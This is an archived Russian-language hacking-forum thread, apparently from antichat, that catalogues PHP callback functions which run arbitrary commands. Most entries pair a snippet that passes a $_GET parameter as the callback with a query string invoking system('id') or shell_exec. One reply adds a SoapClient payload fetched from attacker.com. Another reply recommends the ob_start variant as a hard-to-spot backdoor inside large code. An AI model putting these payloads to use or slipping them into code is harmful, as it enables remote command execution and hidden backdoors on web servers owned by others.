PDA

Просмотр полной версии : Функции обратного вызова


l1ght
06.04.2019, 22:33
актуальные в php7.3, вызывать будем system("id");

1. array_map (https://www.php.net/manual/ru/function.array-map.php)


Code:
array_map($_GET[x],$_GET);
?x=system&_=id

2. array_walk (https://www.php.net/manual/ru/function.array-walk.php), array_filter (https://www.php.net/manual/ru/function.array-filter.php), array_walk_recursive (https://www.php.net/manual/ru/function.array-walk-recursive.php)


Code:
array_walk($_GET,$_GET[x]);
?x=system&_=id

3. array_udiff (https://www.php.net/manual/ru/function.array-udiff.php)


Code:
array_udiff($_GET,$_GET,$_GET[x]);
?x=system&_=id&1

4. array_reduce (https://www.php.net/manual/ru/function.array-reduce.php)


Code:
array_reduce([1],$_GET[x],$_GET[_]);
?x=system&_=id

5. array_udiff_assoc (https://www.php.net/manual/ru/function.array-udiff-assoc.php), array_uintersect (https://www.php.net/manual/ru/function.array-uintersect.php), array_uintersect_assoc (https://www.php.net/manual/ru/function.array-uintersect-assoc.php)


Code:
array_udiff_assoc($_GET,$_GET,$_GET[x]);
?x=system&_=id

6. array_intersect_uassoc (https://www.php.net/manual/ru/function.array-intersect-uassoc.php), array_diff_ukey (https://www.php.net/manual/ru/function.array-diff-ukey.php), array_diff_uassoc (https://www.php.net/manual/ru/function.array-diff-uassoc.php)


Code:
array_intersect_uassoc($_GET,$_GET,$_GET[x]);
?x=system&id=1

7. array_uintersect_uassoc (https://www.php.net/manual/ru/function.array-uintersect-uassoc.php), array_udiff_uassoc (https://www.php.net/manual/ru/function.array-udiff-uassoc.php)


Code:
array_uintersect_uassoc($_GET, $_GET, $_GET[x],_);
?x=system&_=id

8. usort (https://www.php.net/manual/ru/function.usort.php), uasort (https://www.php.net/manual/ru/function.uasort.php), ArrayObject::uasort (https://www.php.net/manual/ru/arrayobject.uasort.php)


Code:
usort($_GET,$_GET[x]);
?x=system&_=id&1

9. uksort (https://www.php.net/manual/ru/function.uksort.php), ArrayObject::uksort (https://www.php.net/manual/ru/arrayobject.uksort.php)


Code:
uksort($_GET,$_GET[x]);
?x=system&id=1&1

10. call_user_func (https://www.php.net/manual/ru/function.call-user-func.php)


Code:
call_user_func($_GET[x], $_GET[_]);
?x=system&_=id

11. call_user_func_array (https://www.php.net/manual/ru/function.call-user-func-array.php)


Code:
call_user_func_array($_GET[x], $_GET);
?_=id&x=system

12. iterator_apply (https://www.php.net/manual/ru/function.iterator-apply.php)


Code:
iterator_apply(new ArrayObject([1]),$_GET[w],$_GET);
?_=id&w=system

13. register_tick_function (https://www.php.net/manual/ru/function.register-tick-function.php)


Code:
declare(ticks=1);
register_tick_function($_GET[x],$_GET[_]);
?x=system&_=id

14. forward_static_call (https://www.php.net/manual/ru/function.forward-static-call.php)


Code:
class A
{
function __construct() {
forward_static_call($_GET[x],$_GET[_]);
}
}
new A;
?x=system&_=id

15 forward_static_call_array (https://www.php.net/manual/ru/function.forward-static-call-array.php)


Code:
class A
{
function __construct() {
forward_static_call_array($_GET[x],$_GET);
}
}
new A;
?_=id&x=system

16. session_set_save_handler (https://www.php.net/manual/ru/function.session-set-save-handler.php)


Code:
session_set_save_handler($_GET[x],_,_,_,_,_);
ini_set('session.save_path',$_GET[_]);
session_start();
?x=system&_=id

17. sqlite::createFunction (https://www.php.net/manual/ru/sqlite3.createfunction.php)


Code:
$x=$_GET[x];
$db = new SQLite3(':memory:');
$db->createFunction($x,$x);
$db->querySingle("select $x('$_GET[_]')");
?x=system&_=id

18. spl_autoload_register (https://www.php.net/manual/ru/function.spl-autoload-register.php)


Code:
spl_autoload_register($_GET[x]);
new $_GET[_];
?x=system&_=id

19. ob_start (https://www.php.net/manual/ru/function.ob-start.php)


Code:
ob_start($_GET[x]);
echo $_GET[_];
?>
?x=system&_=id

20. set_exception_handler (https://www.php.net/manual/ru/function.set-exception-handler.php)


Code:
set_exception_handler($_GET[x]);
throw new Exception(";$_GET[_];#");
?_=id&x=system

21. register_shutdown_function (https://www.php.net/manual/ru/function.register-shutdown-function.php)


Code:
register_shutdown_function($_GET[x],$_GET[_]);
?x=system&_=id

Тот_самый_Щуп
07.04.2019, 10:18
Лайк.

Из всех перечисленных самый интересный это с ob_start, хороший вариант спрятать в большом участке кода беспалевную закладку.

crlf
07.04.2019, 12:55
Немного наркомании в тред


PHP:
'http://attacker.com/evil.xml',
'typemap'=> [['type_ns'=>'http://windows.must.die','type_name'=>'bad','from_xml'=>'system']],
'uri'=>'http://localhost/'));

$client->x();



http://attacker.com/evil.xml:


PHP:




x;
touch /tmp/pwned;


b3
07.04.2019, 13:35
Gorbachev said:
↑ (https://antichat.live/posts/4299133/)
Лайк.
Из всех перечисленных самый интересный это с ob_start, хороший вариант спрятать в большом участке кода беспалевную закладку.


из всех перечисленных как раз ob_start может вызвать проблемы, нужно смотреть не используются ли другие механизмы кеширования буфера и не забывать про ob_end_flush() (https://www.php.net/manual/ru/function.ob-end-flush.php)

l1ght
13.04.2019, 20:25
unserialize_callback_func


Code:
$c='O:2:"id":0:{}';
ini_set('unserialize_callback_func', 'system');
unserialize($c);

Baskin-Robbins
11.04.2021, 23:17
Code:
$func = new ReflectionFunction($_GET['f']);
echo $func->invokeArgs($_GET['c']);
?f=shell_exec&c[0]=id



Code:
$func = new ReflectionFunction($_GET['f']);
echo $func->invoke($_GET['c']);
?f=system&c=id